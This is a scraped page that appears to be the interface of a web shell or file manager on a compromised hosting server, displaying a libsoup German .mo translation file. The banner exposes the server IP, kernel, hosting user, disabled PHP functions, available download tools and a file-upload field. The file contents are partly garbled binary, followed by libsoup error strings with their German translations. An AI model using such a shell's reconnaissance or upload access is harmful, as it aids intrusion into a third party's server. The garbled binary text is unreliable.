| Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/share/locale/de/LC_MESSAGES/ |
Upload File : |
�� , | ; � � # � 5 � ' # ! K " m " � ) � � �
5 ; C ' � � � # � & 7 L e " j � � � � � � " * # M & q % � M � & 3 2 8 # k � ! � � � � 5 �
9 �
8 1 J ' | 4 � 3 � ,
, : 2 g � ; � D � +
& =
# d
�
�
�
�
�
, % G % m � � � " � ) � % & $ L 2 q 1 � N � - % S 8 [ % � * � + � $ 6 ! "
% $ # , ( ) & *
+ ' Cannot truncate SoupBodyInputStream Can’t create a TLS server without a TLS certificate Can’t import non-socket as SoupSocket Can’t import unconnected socket Connection terminated unexpectedly Could not import existing socket: Could not listen on address %s, port %d: Could not parse HTTP request Could not parse HTTP response Could not parse URI “%s” Date Modified Duplicated parameter in “%s” WebSocket extension header Failed to completely cache the resource Header too big Hostname has no base domain Hostname is an IP address Incorrect WebSocket “%s” header Invalid WebSocket key Invalid hostname Invalid seek request Invalid “%s” URI: %s Name Network stream unexpectedly closed No URI provided No public-suffix list available. Not an HTTP URI Not enough domains Operation was cancelled Operation would block Output buffer is too small Server ignored WebSocket handshake Server rejected WebSocket handshake Server requested unsupported extension Server requested unsupported protocol Server returned a duplicated parameter in “%s” WebSocket extension header Server returned incorrect “%s” key Size The server did not accept the WebSocket handshake. Unrecognized HTTP response encoding Unsupported URI scheme “%s” Unsupported WebSocket subprotocol Unsupported WebSocket version WebSocket handshake expected Project-Id-Version: libsoup master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libsoup/issues
PO-Revision-Date: 2020-09-09 19:02+0200
Last-Translator: Tim Sabsch <tim@sabsch.com>
Language-Team: Deutsch <gnome-de@gnome.org>
Language: de
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
X-Generator: Poedit 2.4.1
SoupBodyInputStream konnte nicht abgeschnitten werden TLS-Server kann nicht ohne TLS-Zertifikat erstellt werden Nicht-Socket kann nicht als SoupSocket importiert werden Unverbundenes Socket kann nicht importiert werden Die Verbindung wurde unerwartet beendet Bestehendes Socket konnte nicht importieren werden: Auf Adresse %s, Port %d kann nicht gehört werden: HTTP-Anfrage konnte nicht verarbeitet werden HTTP-Antwort konnte nicht verarbeitet werden Die Adresse »%s« konnte nicht verarbeitet werden Änderungsdatum Duplizierter Parameter im »%s« Websocket-Erweiterungskopf Das vollständige Zwischenspeichern der Ressource ist fehlgeschlagen Kopf ist zu groß Der Rechnername hat keine Hauptdomäne Der Rechnername ist eine IP-Adresse Falscher WebSocket »%s«-Kopf Ungültiger WebSocket-Schlüssel Ungültiger Rechnername Ungültige Suchanfrage Ungültige »%s«-Adresse: %s Name Netzwerk-Stream wurde unerwartet geschlossen Es wurde keine Adresse bereitgestellt Keine Public-Suffix-Liste verfügbar. Keine HTTP-Adresse Nicht genug Domänen Der Vorgang wurde abgebrochen Der Vorgang würde gestoppt werden Der Ausgabe-Zwischenspeicher ist zu klein Server ignorierte WebSocket-Handshake Server lehnte WebSocket-Handshake ab Server forderte nicht unterstützte Erweiterung an Server forderte nicht unterstütztes Protokoll an Server gab duplizierten Parameter im »%s« Websocket-Erweiterungskopf zurück Server gab falschen »%s«-Schlüssel zurück Größe Der Server hat den WebSocket-Handshake nicht angenommen. Unbekannte Kodierung der HTTP-Antwort Nicht unterstütztes Adressenschema »%s« Nicht unterstütztes WebSocket-Subprotokoll Nicht unterstütze WebSocket-Version WebSocket-Handshake erwartet